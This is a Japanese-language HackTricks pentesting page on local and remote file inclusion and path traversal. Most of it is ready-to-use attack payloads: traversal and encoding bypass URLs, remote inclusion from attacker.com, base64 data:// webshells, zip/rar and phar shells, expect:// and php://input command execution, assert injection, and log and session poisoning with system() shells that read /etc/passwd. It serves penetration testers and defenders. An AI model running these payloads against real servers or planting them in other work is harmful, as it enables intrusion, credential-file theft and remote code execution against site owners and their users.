hacktricks/pentesting-web/file-inclusion/README.md

661 lines
43 KiB
Markdown
Raw Normal View History

# ファイルインクルージョン/パス遍歴
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
2022-04-28 16:01:33 +00:00
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに貢献する
2022-04-28 16:01:33 +00:00
2022-10-27 14:46:56 +00:00
</details>
2022-04-28 16:01:33 +00:00
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加しましょう!
2023-02-27 10:28:45 +01:00
**ハッキングの洞察**\
ハッキングのスリルと挑戦に深く入り込むコンテンツに参加する
2023-02-27 10:28:45 +01:00
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていく
2023-02-27 10:28:45 +01:00
**最新の発表**\
最新のバグバウンティの開始や重要なプラットフォームの更新に関する情報を把握する
**[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう!
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
## ファイルインクルージョン
**リモートファイルインクルージョンRFI:** ファイルがリモートサーバーから読み込まれます(最適: コードを書いてサーバーが実行します。PHPでは、これはデフォルトで**無効**になっています(**allow\_url\_include**)。\
**ローカルファイルインクルージョンLFI:** サーバーがローカルファイルを読み込みます。
この脆弱性は、ユーザーがサーバーによって読み込まれるファイルをある方法で制御できる場合に発生します。
脆弱な**PHP関数**: require、require\_once、include、include\_once
この脆弱性を悪用するための興味深いツール: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE files
2020-12-27 12:39:54 +00:00
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
2022-06-19 19:09:48 +00:00
### **Linux**
**複数の \*nix LFI リストを組み合わせ、さらにパスを追加して作成したリスト:**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
2021-06-27 21:56:13 +00:00
`/``\` に変更してみてください\
`../../../../../` を追加してみてください
2021-06-27 20:19:16 +00:00
脆弱性の存在を確認するためにファイル /etc/password を見つけるために複数の技術を使用するリストは[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) で見つけることができます。
2022-06-19 19:09:48 +00:00
### **Windows**
異なるワードリストの統合:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
`/``\` に変更してみてください\
`C:/` を削除して `../../../../../` を追加してみてください
脆弱性の存在を確認するためにファイル /boot.ini を見つけるために複数の技術を使用するリストは[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) で見つけることができます。
2022-06-19 19:09:48 +00:00
### **OS X**
Linux の LFI リストをチェックしてください。
## 基本的な LFI とバイパス
すべての例はローカルファイルインクルージョン用ですが、リモートファイルインクルージョンにも適用できますpage=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/)。
```
http://example.com/index.php?page=../../../etc/passwd
```
### 非再帰的に取り除かれたトラバーサルシーケンス
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **ヌルバイト (%00)**
提供された文字列の末尾にさらに文字を追加してバイパスする(バイパス方法: $\_GET\['param']."php"
```
http://example.com/index.php?page=../../../etc/passwd%00
```
これは**PHP 5.4以降で解決済み**
2023-07-07 23:42:27 +00:00
### **エンコーディング**
ダブルURLエンコードなどの非標準のエンコーディングを使用できます:
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
2023-07-07 23:42:27 +00:00
### 既存のフォルダから
バックエンドがフォルダのパスをチェックしている可能性があります:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### サーバー上のファイルシステムディレクトリの探索
サーバーのファイルシステムは、特定のテクニックを用いて、ファイルだけでなくディレクトリを特定するために再帰的に探索することができます。このプロセスには、ディレクトリの深さを特定し、特定のフォルダの存在を調査することが含まれます。以下に、これを達成するための詳細な方法が示されています:
2022-12-03 18:45:54 +00:00
1. **ディレクトリの深さを決定する:** 現在のディレクトリの深さを確認するために、`/etc/passwd` ファイルを正常に取得することによってサーバーがLinuxベースの場合に適用される、ディレクトリの深さを特定します。深さが3であることを示す、以下のような構造の例のURLがあります
```bash
2022-11-23 17:52:53 +01:00
http://example.com/index.php?page=../../../etc/passwd # depth of 3
2022-12-03 18:45:54 +00:00
```
2. **フォルダの探査:** 疑わしいフォルダの名前(例: `private`をURLに追加し、次に`/etc/passwd`に移動します。追加のディレクトリレベルは、深さを1つ増やす必要があります:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
2022-11-23 17:52:53 +01:00
```
3. **結果の解釈:** サーバーの応答によって、フォルダが存在するかどうかが示されます:
* **エラー / 出力なし:** 指定された場所におそらく`private`フォルダは存在しません。
* **`/etc/passwd`の内容:** `private`フォルダの存在が確認されました。
4. **再帰的な探索:** 発見されたフォルダは、同じ技術または従来のローカルファイルインクルージョンLFIメソッドを使用して、サブディレクトリやファイルをさらに調査できます。
2022-11-23 17:52:53 +01:00
ファイルシステム内の異なる場所のディレクトリを探索するには、ペイロードを適切に調整します。たとえば、`/var/www/``private`ディレクトリが含まれているかどうかを確認するには現在のディレクトリが深さ3にあると仮定、次のように使用します:
```bash
2022-11-23 17:52:53 +01:00
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **パス切り詰め技術**
2022-12-03 18:45:54 +00:00
パス切り詰めは、Webアプリケーション内のファイルパスを操作するために使用される手法です。これは、ファイルパスの末尾に追加の文字列を付加する特定のセキュリティ対策をバイパスして、制限されたファイルにアクセスするためによく使用されます。目標は、セキュリティ対策によって変更された後も、望ましいファイルを指すファイルパスを作成することです。
PHPでは、ファイルシステムの性質により、ファイルパスのさまざまな表現が同等と見なされることがあります。たとえば
- `/etc/passwd``/etc//passwd``/etc/./passwd``/etc/passwd/` はすべて同じパスとして扱われます。
- 最後の6文字が `passwd` の場合、`/` を追加して `passwd/` とすると、対象のファイルが変更されません。
- 同様に、ファイルパスに `.php` が追加されている場合(例:`shellcode.php`)、末尾に `/.` を追加してもアクセスされるファイルは変わりません。
提供された例は、パス切り詰めを利用して、感​​度の高いコンテンツ(ユーザーアカウント情報)を含む一般的なターゲットである `/etc/passwd` にアクセスする方法を示しています。
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
```
```
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
これらのシナリオでは、必要なトラバーサルの数は約2027回程度になる可能性がありますが、この数はサーバーの構成によって異なる可能性があります。
* **ドットセグメントと追加文字の使用**: トラバーサルシーケンス (`../`) は、追加のドットセグメントと文字と組み合わせて使用することで、ファイルシステムをナビゲートし、サーバーによって追加された文字列を無視することができます。
* **必要なトラバーサルの数を決定する**: 試行錯誤を通じて、`../` シーケンスの正確な数を見つけることができ、ルートディレクトリに移動し、その後 `/etc/passwd` に移動するために必要な数を見つけることができます。これにより、追加された文字列(例: `.php`)が中立化されますが、目的のパス (`/etc/passwd`) はそのままです。
* **偽のディレクトリから始める**: 存在しないディレクトリ(例: `a/`)でパスを開始するのは一般的な方法です。このテクニックは予防措置として使用されるか、サーバーのパス解析ロジックの要件を満たすために使用されます。
パス切り詰め技術を使用する際には、サーバーのパス解析動作とファイルシステム構造を理解することが重要です。各シナリオには異なるアプローチが必要であり、最も効果的な方法を見つけるためにはテストがしばしば必要です。
2023-07-07 23:42:27 +00:00
**この脆弱性はPHP 5.3で修正されました。**
### **フィルター回避トリック**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
```
## リモートファイルインクルージョン
PHPでは、これはデフォルトで無効になっています。なぜなら**`allow_url_include`**が**Off**だからです。これを機能させるには、**On**にする必要があり、その場合、サーバーからPHPファイルをインクルードしてRCEを取得できます。
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
もし何らかの理由で**`allow_url_include`**が**On**になっているが、PHPが外部ウェブページへのアクセスを**フィルタリング**している場合、[この投稿によると](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/)、例えばデータプロトコルを使用してbase64でエンコードされたb64 PHPコードをデコードし、RCEを取得することができます:
2023-07-07 23:42:27 +00:00
{% code overflow="wrap" %}
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
{% endcode %}
2023-07-07 23:42:27 +00:00
{% hint style="info" %}
前のコードでは、最後の `+.txt` が追加された理由は、攻撃者が `.txt` で終わる文字列が必要だったためです。そのため、文字列はそれで終わり、b64デコード後にその部分は単なるゴミとなり、実際のPHPコードが含まれしたがって、実行されます
{% endhint %}
`php://` プロトコルを使用しない別の例は次のとおりです:
{% code overflow="wrap" %}
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
{% endcode %}
## Pythonのルート要素
Pythonでは、次のようなコードがある場合:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
ユーザーが**`file_name`**に**絶対パス**を渡すと、**前のパスが単に削除**されます。
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
以下は、[ドキュメント](https://docs.python.org/3.10/library/os.path.html#os.path.join)による意図された動作です:
> コンポーネントが絶対パスの場合、すべての前のコンポーネントが破棄され、絶対パスのコンポーネントから結合が続行されます。
## Java ディレクトリのリスト
Java でパストラバーサルがある場合、**ファイルではなくディレクトリを要求**すると、**ディレクトリのリストが返される**ようです。これは他の言語では起こらないようです(私の知る限り)。
## トップ25のパラメータ
以下は、ローカルファイルインクルージョンLFI脆弱性に対して脆弱である可能性のあるトップ25のパラメータのリストです[リンク](https://twitter.com/trbughunters/status/1279768631845494787)から):
```
2020-07-29 09:22:22 +00:00
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
```
## PHPラッパーとプロトコルを使用したLFI / RFI
2022-06-19 19:09:48 +00:00
### php://filter
PHPフィルターを使用すると、データが読み取られる前または書き込まれる前に基本的な**変更操作**を実行できます。フィルターには5つのカテゴリがあります:
2023-07-07 23:42:27 +00:00
* [文字列フィルター](https://www.php.net/manual/en/filters.string.php):
2023-07-07 23:42:27 +00:00
* `string.rot13`
* `string.toupper`
* `string.tolower`
* `string.strip_tags`: データからタグを削除します("<"と">"の文字の間のすべて)
* このフィルターは、現代のPHPのバージョンから消えています
* [変換フィルター](https://www.php.net/manual/en/filters.convert.php)
2023-07-07 23:42:27 +00:00
* `convert.base64-encode`
* `convert.base64-decode`
* `convert.quoted-printable-encode`
* `convert.quoted-printable-decode`
* `convert.iconv.*` : 異なるエンコーディングに変換します(`convert.iconv.<input_enc>.<output_enc>`)。サポートされている**すべてのエンコーディングのリスト**を取得するには、コンソールで次を実行します: `iconv -l`
2022-06-20 07:40:16 +00:00
{% hint style="warning" %}
`convert.iconv.*`変換フィルターを悪用すると、**任意のテキストを生成**することができ、任意のテキストを書き込んだり、関数を作成して任意のテキストを処理するのに役立ちます。詳細については、[**phpフィルターを介したLFI2RCE**](lfi2rce-via-php-filters.md)を確認してください。
2022-06-20 07:40:16 +00:00
{% endhint %}
* [圧縮フィルター](https://www.php.net/manual/en/filters.compression.php)
* `zlib.deflate`: コンテンツを圧縮します(多くの情報を外部に持ち出す場合に便利)
2023-07-07 23:42:27 +00:00
* `zlib.inflate`: データを解凍します
* [暗号化フィルター](https://www.php.net/manual/en/filters.encryption.php)
2023-07-07 23:42:27 +00:00
* `mcrypt.*` : 廃止予定
* `mdecrypt.*` : 廃止予定
* その他のフィルター
* phpで`var_dump(stream_get_filters());`を実行すると、いくつかの**予期しないフィルター**を見つけることができます:
2023-07-07 23:42:27 +00:00
* `consumed`
* `dechunk`: HTTPチャンクエンコーディングを逆にします
2023-07-07 23:42:27 +00:00
* `convert.*`
2022-06-19 19:09:48 +00:00
```php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
2022-06-19 19:09:48 +00:00
```
{% hint style="warning" %}
"php://filter"の部分は大文字と小文字を区別しません
2022-06-19 19:09:48 +00:00
{% endhint %}
### phpフィルターをオラクルとして使用して任意のファイルを読み取る
[**この投稿**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle)では、サーバーからの出力を受け取らずにローカルファイルを読み取るための技術が提案されています。この技術は、**phpフィルターをオラクルとして使用してファイルを1文字ずつ読み取る**ことに基づいています。これは、phpフィルターを使用してテキストを十分に大きくすることで、phpが例外をスローするようにすることができるためです。
元の投稿では、技術の詳細な説明が見つかりますが、ここでは簡単な要約を示します:
- テキストの先頭に先行する文字を残し、文字列のサイズを指数関数的に増やすためにコーデック**`UCS-4LE`**を使用します。
- これにより、**初期文字が正しく推測されたときに非常に大きなテキスト**が生成され、phpが**エラー**をトリガーします。
- **dechunk**フィルターは、最初の文字が16進数でない場合は**すべてを削除**するため、最初の文字が16進数かどうかを知ることができます。
- これは、最初の文字が16進数でないことを確認するために十分な変換を行うと、16進数文字でなくなり、dechunkがそれを削除せず、初期爆弾がphpエラーを引き起こすため、テキストの先頭の文字を推測することができます。
- コーデック**convert.iconv.UNICODE.CP930**は、各文字を次の文字に変換しますしたがって、このコーデックを適用すると、a -> bになります。たとえば、最初の文字が`a`であるかどうかを判断できます。なぜなら、このコーデックを6回適用すると、a->b->c->d->e->f->gとなり、文字がもはや16進数文字ではなくなるため、dechunkがそれを削除せず、phpエラーがトリガーされるからです。
- 初めに**rot13**などの他の変換を使用すると、n、o、p、q、rなどの他の文字を漏洩させることができます他のコーデックを使用して他の文字を16進数範囲に移動させることもできます
- 初期文字が数字の場合、それをbase64エンコードして最初の2文字を漏洩させる必要があります。
- **初期文字以上のデータをどのように漏洩するか**を見る最終的な問題は、**convert.iconv.UTF16.UTF-16BE、convert.iconv.UCS-4.UCS-4LE、convert.iconv.UCS-4.UCS-4LE**などの順序メモリフィルターを使用して、文字の順序を変更し、テキストの最初の位置に他の文字を配置することができます。
- さらに**データを取得するため**には、**convert.iconv.UTF16.UTF16**で**先頭に2バイトのジャンクデータを生成**し、**UCS-4LE**を適用して**次の2バイトとピボット**させ、ジャンクデータまでデータを削除しますこれにより、初期テキストの最初の2バイトが削除されます。これを望ましいビットまで漏洩するまで続けます。
投稿では、これを自動的に実行するためのツールも漏洩しています:[php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit)。
2022-06-19 19:09:48 +00:00
### php://fd
このラッパーは、プロセスが開いているファイルディスクリプタにアクセスできるようにします。開いているファイルの内容を漏洩するのに役立つ可能性があります:
2022-06-19 19:09:48 +00:00
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
あなたは**php://stdin、php://stdout、およびphp://stderr**を使用して、それぞれ**ファイルディスクリプタ0、1、および2**にアクセスすることもできます(攻撃にどのように役立つかはわかりません)
### zip:// および rar://
PHPShellが含まれたZipまたはRarファイルをアップロードしてアクセスします。\
rarプロトコルを悪用するためには、**特に有効化する必要があります**。
```bash
2023-07-07 23:42:27 +00:00
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
2022-06-19 19:09:48 +00:00
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
```
### data://
data://スキームは、データをURLに直接埋め込むために使用されます。これは、ファイルインクルージョン攻撃の一部として悪用される可能性があります。
```
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
2020-12-27 12:55:25 +00:00
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
2022-06-13 20:17:45 +10:00
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
注意このプロトコルはphpの設定**`allow_url_open`**と**`allow_url_include`**によって制限されています。
2022-06-19 19:09:48 +00:00
### expect://
Expectを有効にする必要があります。これを使用してコードを実行できます
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
2022-06-19 19:09:48 +00:00
### input://
POSTパラメーターにペイロードを指定します。
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
2022-06-19 19:09:48 +00:00
### phar://
`.phar`ファイルは、Webアプリケーションがファイルの読み込みに`include`などの関数を利用する場合に、PHPコードを実行するために利用できます。以下に示すPHPコードスニペットは、`.phar`ファイルの作成を示しています:
```php
2021-03-19 23:08:07 +00:00
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
`.phar`ファイルをコンパイルするには、次のコマンドを実行する必要があります:
2021-03-19 23:08:07 +00:00
```bash
php --define phar.readonly=0 create_path.php
```
実行すると、`test.phar`というファイルが作成され、ローカルファイルインクルージョンLFI脆弱性を悪用する可能性があります。
LFIがPHPコードの実行なしにファイルの読み取りのみを行う場合、`file_get_contents()``fopen()``file()``file_exists()``md5_file()``filemtime()``filesize()`などの関数を介して、逆シリアル化脆弱性の悪用が試みられる可能性があります。この脆弱性は、`phar`プロトコルを使用してファイルを読み取ることに関連しています。
`.phar`ファイルのコンテキストで逆シリアル化脆弱性を悪用する詳細については、以下のドキュメントを参照してください:
2021-03-19 23:08:07 +00:00
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
2021-03-19 23:11:18 +00:00
{% content-ref url="phar-deserialization.md" %}
[phar-deserialization.md](phar-deserialization.md)
{% endcontent-ref %}
2021-03-19 23:11:18 +00:00
### さらなるプロトコル
2021-05-04 22:57:00 +00:00
より多くの可能性のある[ **ここに含めるプロトコル**](https://www.php.net/manual/en/wrappers.php)**を**チェックしてください:
2022-06-19 19:09:48 +00:00
* [php://memory および php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリ内または一時ファイルに書き込み(これがファイルインクルージョン攻撃でどのように有用かはわかりません)
* [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムへのアクセス
* [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URLへのアクセス
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URLへのアクセス
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 圧縮ストリーム
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — パターンに一致するパス名を検索(印刷可能なものを返さないため、ここではあまり役立ちません)
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — セキュアシェル2
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — オーディオストリーム(任意のファイルを読み取るのには役立ちません)
## PHPの 'assert' を介したLFI
PHPにおけるローカルファイルインクルージョンLFIリスクは、文字列内のコードを実行できる 'assert' 関数を扱う際に特に高いです。これは、ディレクトリトラバーサル文字(".. "など)を含む入力がチェックされているが適切にサニタイズされていない場合に特に問題となります。
たとえば、PHPコードが次のようにデザインされている場合、ディレクトリトラバーサルを防ぐことができます
2023-03-23 12:48:36 +00:00
```bash
assert("strpos('$file', '..') === false") or die("");
```
以下はトラバーサルを防ぐことを目的としていますが、結果的にコードインジェクションのためのベクトルを作成してしまいます。ファイル内容を読むためにこれを悪用するには、攻撃者は次のように使用できます:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
同様に、任意のシステムコマンドを実行するためには、次のように使用することができます:
```plaintext
' and die(system("id")) or '
```
重要なのは、これらのペイロードを**URLエンコードする**ことです。
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
2022-10-27 14:46:56 +00:00
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
2023-02-27 10:28:45 +01:00
**ハッキングの洞察**\
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
2023-02-27 10:28:45 +01:00
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかけましょう
2023-02-27 10:28:45 +01:00
**最新のお知らせ**\
最新のバグバウンティの開始や重要なプラットフォームのアップデートについて情報を得ましょう
**[Discord](https://discord.com/invite/N3FrSbmwdy)** に参加して、今日からトップハッカーと協力を始めましょう!
2022-10-27 14:46:56 +00:00
2023-03-23 12:48:36 +00:00
## PHP Blind Path Traversal
2023-03-23 12:54:51 +00:00
{% hint style="warning" %}
このテクニックは、**PHP関数**の**ファイルパス**を**制御**できる場合に関連します。ファイルにアクセスしますが、ファイルの内容は表示されません(**`file()`**への単純な呼び出しのような)。
2023-03-23 12:54:51 +00:00
{% endhint %}
[**この素晴らしい投稿**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) では、PHPフィルタを介して盲目的なパストラバーサルを悪用して、**エラーオラクルを介してファイルの内容を外部に流出**させる方法が説明されています。
2023-03-23 12:48:36 +00:00
要約すると、このテクニックは、ファイルの内容を非常に**大きく**するために**"UCS-4LE"エンコーディング**を使用し、ファイルを開く**PHP関数**が**エラー**をトリガーするようにします。
2023-03-23 12:48:36 +00:00
その後、最初の文字を漏洩させるために、フィルタ**`dechunk`**が使用され、他のフィルタ(**base64**や**rot13**など)と最終的にフィルタ**convert.iconv.UCS-4.UCS-4LE**および**convert.iconv.UTF16.UTF-16BE**が使用され、他の文字を**先頭に配置して漏洩**されます。
2023-03-23 12:48:36 +00:00
**脆弱性のある可能性のある関数**: `file_get_contents``readfile``finfo->file``getimagesize``md5_file``sha1_file``hash_file``file``parse_ini_file``copy``file_put_contentsこれだけを読み取るターゲット``stream_get_contents``fgets``fread``fgetc``fgetcsv``fpassthru``fputs`
2023-03-23 12:54:51 +00:00
技術的な詳細については、言及された投稿をチェックしてください!
2023-03-23 12:48:36 +00:00
2022-06-19 19:09:48 +00:00
## LFI2RCE
### リモートファイルインクルージョン
以前に説明した内容は、[**このリンク**](./#remote-file-inclusion)を参照してください。
2023-07-07 23:42:27 +00:00
### Apache/Nginxログファイル経由
2020-12-27 12:29:29 +00:00
ApacheまたはNginxサーバーが**LFIに脆弱**である場合、インクルード関数内で**`/var/log/apache2/access.log`または`/var/log/nginx/access.log`**にアクセスを試みることができます。**ユーザーエージェント**内または**GETパラメータ**内に**`<?php system($_GET['c']); ?>`**のようなPHPシェルを設定し、そのファイルをインクルードします
{% hint style="warning" %}
**シェルに単一引用符**ではなく**二重引用符**を使用すると、二重引用符が文字列 "_**quote;**_"に変更され、**PHPはそこでエラーをスロー**し、**それ以外は実行されません**。
また、ペイロードを**正しく記述**することを確認してください。そうしないと、ログファイルをロードしようとするたびにPHPがエラーをスローし、2回目の機会が得られなくなります。
{% endhint %}
これは他のログでも行うことができますが、ログ内のコードはURLエンコードされている可能性があるため、これがシェルを破壊する可能性があります。ヘッダー**authorisation "basic"**にはBase64で"user:password"が含まれ、ログ内でデコードされます。PHPShellをこのヘッダー内に挿入することができます。\
他の可能なログパス:
2021-05-02 18:07:06 +00:00
```python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
```
### ファジングワードリスト: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
2021-09-12 18:39:48 +12:00
2023-07-07 23:42:27 +00:00
### メール経由
**内部アカウント**user@localhostにPHPペイロード`<?php echo system($_REQUEST["cmd"]); ?>`のような)を含むメールを送信し、ユーザーのメールに**`/var/mail/<USERNAME>`**または**`/var/spool/mail/<USERNAME>`**のようなパスでインクルードしようとします。
### /proc/\*/fd/\* 経由
1. 多数のシェルをアップロードします100個
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD)をインクルードします。ここで、$PIDはプロセスのPIDブルートフォースされる可能性があります、$FDはファイルディスクリプタこれもブルートフォースされる可能性がありますです。
### /proc/self/environ 経由
ログファイルのように、ペイロードをUser-Agentに送信すると、/proc/self/environファイル内に反映されます。
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### アップロード経由
ファイルをアップロードできる場合は、シェルペイロードをその中にインジェクトしてください(例: `<?php system($_GET['c']); ?>` )。
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
### Zipファイルのアップロード経由
PHPシェルを含むZIPファイルをアップロードしてアクセスします
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### PHPセッション経由
ウェブサイトがPHPセッションPHPSESSIDを使用しているかどうかを確認します。
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
PHPでは、これらのセッションは`/var/lib/php5/sess\[PHPSESSID]`ファイルに保存されます。
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
クッキーを`<?php system('cat /etc/passwd');?>`に設定します。
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
LFIを使用してPHPセッションファイルをインクルードします。
```
